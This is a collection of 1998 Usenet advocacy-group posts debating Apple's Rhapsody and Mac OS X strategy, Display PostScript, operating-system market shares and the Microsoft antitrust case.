Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Tue, 19 May 1998 20:46:40 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1905982046400001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7vDG.EKB@midway.uchicago.edu> <3561DB48.1F3D2AB7@milestonerdl.com> <Et82oI.37C@midway.uchicago.edu>
In article <Et82oI.37C@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
> --
> To reply to me, please remove the _ from my email address.
>
> m rassbach wrote in message <3561DB48.1F3D2AB7@milestonerdl.com>...
> >
> >Apple's OS draws on over 25 years of code development.
>
>
> How about Mac OS X, the OS that most consumers will be running?
>
> Also, what about driver support on Rhapsody? There's no way they're going to
> build up driver support over night on the Intel side of things and on the
> PPC side of things your options are limited.
Rhapsody runs on most new Macs NOW. Basic drivers are done. It ran on
PCs years ago. Basic drivers are done. New drivers face the same problem
as everyone else (except that they are probably easier to develop and you
could co-opt Linux efforts).
MacOS X has 25 years of development. Rhapsody has over 10 years of
development. These technologies are currently being improved, not
created.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 19 May 1998 14:43:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1874AED-8E4C@206.165.43.108>
References: <3561d7b1.0@news.depaul.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
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Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
>
>> Absolutely, but Apple's own, internal graphics format, optimized for
>speed,
>> can allow one to skip past an unknown object faster than someone parsing
>> the text-based PDF format could.
>
>Assuming, of course, that there's no API provided for accessing
>the contents of the PDF file. I see no reason to assume that
>one won't be available.
Are you saying that parsing the PDF text file (is there a binary format for
PDF?) is going to be as fast as accessing a binary format optimized for
speed?
Gimme a break.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 18 May 1998 20:13:42 GMT
Organization: VHA Inc.
Message-ID: <01bd829a$53c2ed20$8383050a@bgravitt.CORP.VHA.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net> <6ivmi0$822$1@cronkite.cygnus.com> <355e9c4e.8478402@news.flash.net>
LShaping <NoSpam@flash.net> wrote in article
<355e9c4e.8478402@news.flash.net>...
> On 8 May 1998 19:31:12 GMT, jrudd@cygnus.com (John Rudd) wrote:
>
> >In <355346C7.AB5A6546@nstar.net> "Michael J. Peck" wrote:
> >> Dave Walker wrote:
> >>
> >> > Hey... add me to it as well.
> >> >
> >> > Dave Walker
> >>
> >> Sorry, first you have to say something incredibly malicious and,
> >> frankly, sick, about an innocent group of people.
> >>
> >> MJP
> >>
> >
> >What's so innocent about sheep who follow someone blindly?
> >
> >They have actively decided to avoid finding out what the best solution
is.
> >They have actively decided to avoid forcing MS to be open. They are in
fact
> >the problem, in that their quiet capitulation is what gave MS its power
base.
> > If they had been less sheepish, and thought for themselves instead of
> >allowing themselves to be pulled by the nose ring, MS would either have
> >embraced open strategies, or folded.
> >
> >The sheepish users aren't innocent. They're as guilty as the German
citizens
> >who knew what was happening to the Jews and quietly allowed it to
happen.
> >(to be fair, not all of the citizens knew.. but you can't really make a
> >credible claim that the citizens who lived in the cities where there
were
> >camps didn't know)
>
> Great twist! Wow, you a professional flamer?
>
He's not flaming... he's gettin' flamed. He made a comment about Nazi
Germany and the Holocaust; now images have been created in people's minds
that he says he hadn't intended. Just an unfortunate (and extreme) use of
an analogy.
I kinda prefer the Pied Piper analogy, or the Wolf in sheep's clothing
analogy, or the cattle on the way to the slaughterhouse analogy, or the ...
:^)
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: rajt@gco.apana.org.au (Raj Thomas)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: Mon, 18 May 1998 23:22:08 GMT
Organization: Australian Public Access Network Association (APANA)
Message-ID: <3560c256.6780119@news.sydney.apana.org.au>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com> <caradoc-1705981541570001@caradoc.neta.com>
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caradoc@neta.com (John Groseclose) wrote:
>In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
>MACGHOD <Macghod@concentric.net> wrote:
>> All the news on microsoft says its os's have about %90 of the pc market.
>> Now if macs are %20 of the market like Apple claims, this cant be true.
>> And then when you add PC's where the users dont have a microsoft os (such
>> as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
>> %25 percent. This %90 number must be off, no?
The Gartner group survey indicates that Macs have a 5 % market share.
IDC claim that Macs have a 3 % market share.
The same organisations credit MS with a 80% market share.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
Date: Tue, 19 May 1998 15:28:05 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1905981528050001@dante.eng.uci.edu>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk> <6jqees$hl0$1@news12.ispnews.com> <6jqrsa$mdk$1@news.idiom.com> <6jquq3$k2g1@odie.mcleod.net> <slrn6m1f63.el.jason@jhste1.dyn.ml.org> <joe.ragosta-1905980815500001@wil130.dol.net>
In article <joe.ragosta-1905980815500001@wil130.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <slrn6m1f63.el.jason@jhste1.dyn.ml.org>,
>jason@jhste1.dyn.ml.org (Jason S.) wrote:
>> True, and when one woman posts some feminist rantings in csma, we
>> don't feel that that reflects on the other women who post here.
>
>Where?
>
>The number of women who post to the advocacy groups is very, very small.
>Maybe they're smarter than we are?
Joe, were you around in csma or csppca when the 'how many women in this
group' question was posed? I think there were three. I remember Amanda
Walker being one.
I do think they are smarter than we are. Or should I say, more practical
with their time? Shouldn't we be writing code or something?
-Bob Cassidy
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: VNC?
Date: Mon, 18 May 1998 14:31:56 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35608CAC.B531E7B4@milestonerdl.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30> <6ji5h4$s4k@sheepskin.cs.indiana.edu> <6jiaib$dq6$1@news.seicom.net> <1d981a2.1qnzk00xe711gN@rhrz-isdn3-p10.rhrz.uni-bonn.de>
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Dirk Theisen wrote:
> frank@this.NO_SPAM.net (Frank M. Siegert) wrote on
> > In <6ji5h4$s4k@sheepskin.cs.indiana.edu> Yufeng Tsui wrote:
> > > Killing NXHosting is, IMHO, a bad thing. You no longer get it for free.
> > > Maybe someone can write anapplication to do this, like screencast or
> > > PC Anywhere. And then you can manage all your stuff remotely. Maybe
> > > someone third party has already started this???
> >
> > VNC (see http://www.orl.co.uk/vnc ) could be ported if enough interest is
> > there.
>
> The Java Client should at least run on Rhapsody and they have a FreeBSD
> "port" (for X).
> Hey, they even have a WinCE-Client along with generic Java.
And there is now a version for Palm Pilot.
Its quite the chunk of code. Wonder if anyone will ever port it to MacOS [7-x]
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 19 May 1998 17:03:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6jse08$o3i$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561CC4E.ABC15086@milestonerdl.com>
<6js6uk$j2v$1@ns3.vrx.net> <3561EC2F.C1AE5CD2@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3561EC2F.C1AE5CD2@milestonerdl.com> m rassbach claimed:
> Suckyness at the price they charge?
That too. Last I looked a "real" Solaris kit was a couple of grand. Then
again the last I looked was many years ago.
> What on them do you find suckie?
X, speed and application support.
> What numbers I've been able to find (looking due to an old Joe Ragosta
> comment)6+million Linux at 100k a month increase.
Excellent.
> 4+ million FreeBSD at 50-75K a month increase.
Excellent - any numbers on OpenBSD? Everything I read about it seems to
suggest it's a more "advanced" OS.
> Commerical Intel at 10 mil.
Really? That actually sounds a LOT higher than I would suspect (IE, I'd
have thought Linux outnumbers them all).
Joe, if you're reading this, do you still have the source?
Anyway, that gives us a market roughly the same size of Apple's. Ok, if,
say, 5% of them were to run Rhapsody, that gives us a 1 million machine
potential. Ok, now I'm going to say that without a single doubt that it
would pay for itself.
How? Two versions, one "full" with the tools and whatever price you want,
another "user" without the tools and cheaper. YB developement would not be
possible on this second "user" licence, but other general Unix development
would be.
> How much money would Apple 'lose' to piracy.
Again I don't think this would really mean anything - you plan your market
for people who buy, not thieves.
Maury
From: maxman@poboxes.com (max)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 23:54:20 GMT
Organization: The .Net
Message-ID: <356512fc.258067534@news.supernews.com>
References: <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com>
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"David Petticord" <dpetticord@hotmail.com>,
alt.destroy.microsoft, Mon, 18 May 1998 18:01:51 -0400:
>Robert Cassidy wrote in message ...
>>In [a.d.m], dpetticord@hotmail.com wrote:
>
>>>I noticed your use of the phrase "equal
>>>treatment". It would be very hard to convince a court that Microsoft must
>>>give its competitors the same access it gives to itself. Besides actually
>>>being unfair to Microsoft unless all Operating Systems must allow equal
>>>access, it is also very unworkable.
>>
>>Why is it unfair? It's not in GMs marketspace to have to be concerned that
>>MS has 96% of the OS market, yet it is exactly that dominance in market
>>'A' that is allowing MS to exhibit dominance in the unrelated market 'B'.
>
>Apparently the DOJ and states agree with you. They want Microsoft to
>give equal treatment to Netscape's Navigator. Even if that means
>Microsoft has to distribute their competitor's product. I am interested
>in what the courts will have to say about this one.
Robert's point is valid. YES, it seems ludicrous that
Microsoft would be required to so actively facilitate their
competition. But it makes perfect sense when you consider
that the issue is whether Microsoft's monopoly in the _OS_
market can be allowed to enable them to monopolize the
_browser_ market. YES, that makes it entirely clear that
Microsoft must most certainly distribute Navigator along with
IE if MS is going to be allowed to maintain a monopoly in OSs
to begin with. If Microsoft wishes to instead facilitate
access to the OS market by supporting Java as an interoperable
standard, then I could see as how MS could refuse to bundle
competing browsers...
[I honestly think we've got you here, David. Consider your
arguments, but thanks again for keeping me (and others) so
informed and precise about the facts; you do us a great
service as devil's advocate, and thanks again. ;-}]
>
>>The same argument can be made for Netscape,
>>although some people choose the wrong thinking that 'software is software'
>>and therefore conclude that Netscape can compete with an OS.
>>
>
>I thought I was hearing something how Navigator (with Java) was
>going to make Windows unneccesary. Is this "wrong thinking"?
Oh, Java again. ;-)
Yes, the thinking is "wrong" here, but only because the
facilitation of Java to "make Windows unnecessary" is a long
range goal that is both beneficial to the consumer and
actively promotes, rather than inherently limits, the
innovation and competition in the future market.
Considering that idea, that the future goals of the software
market can be accurately used as a justification for legal
action {which I admit seems somewhat irrational}, I believe
I've discovered one of the root causes of anti-MS sentiment
among computer professionals. It occurred to me that an
experienced and skilled programmer, or even one familiar with
computer operations, can discern subtle methods and mechanisms
in software that are clearly meant to stifle competition and
limit choice, as opposed to fostering innovation and
competition. Again, it may seem a fanatical idea, but I have
justification.
I am deeply involved in the details of network management.
There is an obvious progression of algorithmic genetics and a
specific history of instrumentation within the field of SNMP
management of hubs, routers, and switches that is quite
demonstrable. This history, when accurately mapped, allows
one to see how technology has been re-used and developed
through previous decades. It has taken me years to see these
consistencies in software, and experience with the lowest
practical levels of detail, and I have decided that software
cannot lie. It does not depend on perception; the real
intentions of the programmer can be easily discerned by the
practiced eye.
I see no reason to believe, and every evidence to refute, that
any other software systems are any different. It is obvious
when you know where to look that Microsoft's real problem, and
the reason Bill Gates is the richest man in the world, is
because Microsoft does not give equal access to its operating
system to any and every application developer, and takes every
effort to prevent Windows software from being available on
other operating systems. They stand squarely in the way of
software interoperability on the Internet for no reason but
their own personal gain. To me, that is a crime.
If what it takes, Dave, to stop them is writing new laws to
spell out that it is a crime, then so be it. Yes, it is
indeed part of the issue that Bill Gates is the richest man in
the world; I believe it is precisely the fact that he has
commandeered through ignorance and illegal means one of the
most powerful forces we have ever created, the personal
general purpose computer, that has allowed him to benefit so
much from so little.
Many people very familiar with PC technology recognize the
pitifully unstable, limited, closed systems that Microsoft has
produced as clear intent, malice aforethought, to monopolize
every industry they can get their hands on, because they have
the greatest leverage of any company since AT&T. But rather
than make a deal with the gov't for "universal access", MS can
use the fact that its core markets, being software and now
cyberspace, are mutable and modular (but only to it) to escape
the quasi-public utility fate that Ma Bell eventually retired
from, and ensure that the personal wealth of the few are
always dominant over the good of the very very many.
I didn't mean to get off on a rant here, [:-/] but yes, I
believe the public conception of software, including yours,
Dave, needs some radical realignment.
Linux. The World's Operating System (tm)
--
d8=? maxman
*** The best way to convince another is
to state your case moderately and
accurately. - Benjamin Franklin ***
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 16:36:57 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561FB79.68E8028C@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561CC4E.ABC15086@milestonerdl.com>
<6js6uk$j2v$1@ns3.vrx.net> <3561EC2F.C1AE5CD2@milestonerdl.com> <6jse08$o3i$1@ns3.vrx.net>
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Maury Markowitz wrote:
> In <3561EC2F.C1AE5CD2@milestonerdl.com> m rassbach claimed:
> Excellent - any numbers on OpenBSD? Everything I read about it seems to
> suggest it's a more "advanced" OS.
Unfort. no. NetBSD is the 'bleeding edge', OpenBSD is NetBSD with packages
(like FreeBSD) and FreeBSD is X86 optimized. Mr. Sanchez(spelling alert. see
prev post for contact info) is on record as saying one part of Apple uses NetBSD
as ref. platform, and FreeBSD is used by the other group.
OpenBSD just went thru a 2-year security check.
> > Commerical Intel at 10 mil.
>
> Really? That actually sounds a LOT higher than I would suspect (IE, I'd
> have thought Linux outnumbers them all).
Lotsa embedded SCO out there....
> Joe, if you're reading this, do you still have the source?
Nope it was me trying to validate a 15 million Unix deployment number. And,
alas, these numbers are from phone convos, IDC and usenet postings of numbers
gotten from god knows where.
> Anyway, that gives us a market roughly the same size of Apple's. Ok, if,
> say, 5% of them were to run Rhapsody, that gives us a 1 million machine
> potential. Ok, now I'm going to say that without a single doubt that it
> would pay for itself.
Now, instead of restricting the 'supported' hardware list to a few
cards/configurations, make it many. Gack! And a furry little problem it is....
> How? Two versions, one "full" with the tools and whatever price you want,
> another "user" without the tools and cheaper. YB developement would not be
> possible on this second "user" licence, but other general Unix development
> would be.
>
> > How much money would Apple 'lose' to piracy.
>
> Again I don't think this would really mean anything - you plan your market
> for people who buy, not thieves.
True. But, Apple is like RL and the newsgroups. If there's a negative, and
you want to support the negative outcome, you use that info. Same on the
positive side of things. If Intel/Rhapsody is to be dead, then any excuse will
be used.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 19 May 1998 00:19:46 GMT
Organization: University of California at San Diego
Message-ID: <slrn6m1k10.k3r.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <6iv3ne$ekq$3@ns3.vrx.net> <SCOTT.98May8142331@slave.doubleu.com>
On 11 May 1998 17:50:45 -0500, Scott Hess <scott@doubleu.com> wrote:
:I'm not _quite_ sure what it is your intention was, there, but I've
:always thought of the AT&T breakup as a shining example of how an
:industry can get better when some of the regulation is _removed_. You
:do realize, don't you, that AT&T didn't become Ma Bell entirely
:through their own efforts, don't you?
:So far as I'm aware, the government hasn't laid down regulations which
:_enforce_ the Microsoft monopoly,
That much is true.
However, in the Bell breakup, there were new regulations imposed by the
government which were designed to promote free competition in long
distance. And they have been successful.
If it had just been a laissez-faire deregulation---"Hey AT&T, do whatever
you want" there is no way there could have been a truly free phone market.
For example, the absence of regulation favored by ''free-market''
fundamentalists could have let AT&T bundle its long distance service with
the local telephone service. Local telephone service is a technological
monpoly because of the physical presence of wires going into the branch
office. {sound familiar?}
It could have said, "If you go with us for long distance, we'll give you
local service for $10. If you go with MCI, well then you're gonna have
to fork out $50."
It could have signed up exclusive contracts with certain firms to
promote AT&T service. It could have gone heavily into 'phone content',
discriminating against competiting "content providers" with worse local
rates. It could have bought some modem manufacturers, and promoted certain
technological modem standards on its systems, and disfavored others. It
could have offered special proprietary dialing services, but only give the
interface technology to companies which had special deals with it.
The result would have been even more disasterous than the Ma Bell regulated
monpoly.
In the AT&T breakup, harmful monopoly-preserving regulation was replaced by
specially crafted competition-enhancing regulation.
It is true that the breakup of AT&T was beneficial to long distance phone,
but it is also important that people do not take the wrong lesson
from the experience.
Today, I favor similar breakup of monopoly power in local service, as I
suspect the technology for true local service competition now exists.
Note that this is not at all the same as laissez-faire deregulation, as the
local companies are pushing for.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Tue, 19 May 1998 18:11:41 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356211AD.CAFD55AA@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <joe.ragosta-190598095047
<Et7vDG.EKB@midway.uchicago.edu> <3561DB48.1F3D2AB7@milestonerdl.com> <Et82oI.37C@midway.uchicago.edu>
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Jonathan Eric Miller wrote:
> m rassbach wrote in message <3561DB48.1F3D2AB7@milestonerdl.com>...
> >Jonathan Eric Miller wrote:
> >> And the features aren't just
> >> trivial ones. Just ask Apple. It'll probably be 4 years before Apple is
> to
> >> where Microsoft is today.
> >Wrong. With the Unix base shipping in 4 months, Apple has better
> technology
> >then Microsoft has shipping.
>
> Which technology are you referring to?
NT for one. The mail platform for another. News serving, Web serving and
database serving are others.
NT doesn't scale like Unix.
> If I wanted to run UNIX, I'd go with
> a leader.
Ok.
> >Won't have the same volume of applications (many choices for an application
> >class VS one {or none!} for that same application class) but with the BSD
> core,
> >Apple's OS draws on over 25 years of code development.
> How about Mac OS X, the OS that most consumers will be running?
What part of BSD base for MacOS X don't your grok?
> Also, what about driver support on Rhapsody? There's no way they're going to
> build up driver support over night on the Intel side of things
Go visit the OpenSTEP hardware list. Rather 'big' for overnight.
Seems I can get a selection of HD controllers, Network controllers, other I/O
(serial/parallel/T1 cards/blah blah)
> and on the
> PPC side of things your options are limited.
yup.
> >NT has the chief arthitect of VMS as its designer....and VMS is HOW
> successful?
>
> VMS was very successful once upon a time. Kind of like Apple.
And VMS is non-existant today.
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 18 May 1998 18:31:04 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5k97jnrdj.fsf@ai.mit.edu>
References: <6jpp63$rg7$1@crib.bevc.blacksburg.va.us> <1998051819374600.PAA10714@ladder01.news.aol.com>
willadams@aol.com (WillAdams) writes:
> >what's the point of porting their apps to Yellow?
> It seems to me that this in and of itself offers new
> features--admittedly features provided by the underlying operating
> system, but features naetheless.
[...]
> In Virtuoso I can see the contents of a placed .eps even if there's
> no preview in the file thanks to Display PostScript. On the Mac or
> PC, one has to re-open and save the file with a preview to see a
> vague approximation of what's in it.
Of course, in all likelihood that will no longer occur under MacOS X,
since the windowing system will no longer be able to parse that EPS
file without the preview available.
The more I think about DPS going away, the more I think it's a bad
idea, royalties or no royalties.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 18:16:49 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356212E1.65C1BF90@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561CC4E.ABC15086@milestonerdl.com>
<6js6uk$j2v$1@ns3.vrx.net> <3561EC2F.C1AE5CD2@milestonerdl.com>
<6jse08$o3i$1@ns3.vrx.net> <3561FB79.68E8028C@milestonerdl.com> <6jsinj$rs9$1@ns3.vrx.net>
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Maury Markowitz wrote:
> In <3561FB79.68E8028C@milestonerdl.com> m rassbach claimed:
> > Lotsa embedded SCO out there....
> In what? Routers and such?
hahahah.
No, VARs making things like dental or vet packages. A $35+ mil a year print
house has it as the heart of the vertial accounting package.
I even believe BurgerKing uses it in their POS.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 00:08:17 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35621EF1.9DEDCD98@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com>
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m rassbach wrote:
> What Apple (With MacOS X/Rhapsody) is able to be is a 'run it all here' platform.
> WinTel/BeOS on emulation, Unix binary compatiblity - via the BSD 'purple' box,
> YellowBox, and MacOS apps.
That's a mistake. A BIG MISTAKE, let me say that loud and clear.
A vision of Rhapsody as the Big Grand Do Everything Platform would be a
major f*** up. Rhapsody doesn't want to be the prom queen, it wants to
be the village bicycle. Rhapsody doesn't want everything running on it,
Rhapsody wants to run everywhere. That's the whole point.
To do that Rhapsody needs to spread its tentacles and start pulling
Microsofts EVERYWHERE. Quicktime EVERYWHERE. Yellow Box EVERYWHERE.
The opposite (EVERYTHING on Rhapsody) is ridiculous. It's not going to
happen.
> > No, that's not quite it. It's that they're not likely to buy a
> > Macintosh.
>
> And why? Because it's not compatible with M$? Not Intel? Or that it's Apple
> equipment?
All of the above.
> > That's the key *right there*. Apple has to prove itself to these people,
> > and Jobs will find it easier to sell a $200 Rhapsody to the doubters
> > than to sell a $2000 Macintosh to them.
>
> Apple has MUCH to do to 'prove itself' The stealth marketing, cancelled
> technologies, developer relations, hi-priced hardware, etc la all add to a 'not
> pro-apple' to 'anti-apple' way of thinking.
Don't kid yourself. Yes, Apple fucked us all over with those things, and
I just about ate a nuclear device each time it happened. But most people
don't know and don't care about these issues, Mark. Frankly, they don't
want to know.
What they know is that Apple is hated, and that's enough reason for them
to hate Apple themselves. What they need right now is a reason to
disbelieve the illusion (if indeed it is illusion, which remains to be
seen).
MJP
PS. This post makes almost no sense. Please try to read between the
broken metaphors.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 15:51:09 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1905981551090001@dante.eng.uci.edu>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu>
In article <6jsc2d$cqh$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
>Reasons why Apple should drop Rhapsody for Intel.
(D10) Focus. In 15 months x86 will not be Intels server line, Merced
will be.
Why not focus on delivering the first Merced Server OS with
native apps
(the power of YellowBox). x86 is lost to NT, but Merced may not be
unless MS is right there with NT which seems unlikely just looking at
their track record. In the mean time, why get MS's attention with
an OS
that we all know won't make substantial inroads. Shipping Rhapsody 2.0
or whatever for Merced and demonstrating YB apps running natively with
a mouse click would be worth giving up x86 now.
(D11) Opportunity. Assuming Apple excludes even Merced, perhaps IBM and Mot
have plans for the PPC line that make x86 and Merced less
interesting.
Merced migration at the high end will be a watershed event, not
necessarily guaranteeing x86 -> Merced transitions. IBM would
make a strong case for PPC at this time since IBM would finally have a
personal interest in pushing their server line down into the Merced
space creating a stronger partner of IBM which currently has no strong
interest in the success of PPC on the desktop.
-Bob Cassidy
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 16:49:58 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561FE85.C3B626FC@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com> <6jsv3g$bia$1@news.digifix.com>
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Scott Anguish wrote:
> On 05/19/98, m rassbach wrote:
> <snip>
> >Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive.
> Look at the name of the site. Does that give you a clue as to
> the accuracy?
The thread from akria@home.com mentioned the author of that email in his
thread where he mentions the session where Apple confirms on tape the
ending of Intel Rhapsody at 1.0. That e-mail has a wed. date, and the
session date of 197 is thursday.
> Look at the track record as recent as two weeks ago
> when they said that Blue Box on Rhapsody wouldn't support networking..
> WRONG.
Or YellowBox to be released ON the Windows98 CD. Given the $20 charge,
that rumor sounds bogus too-as pointed out by, I belive Nathan.
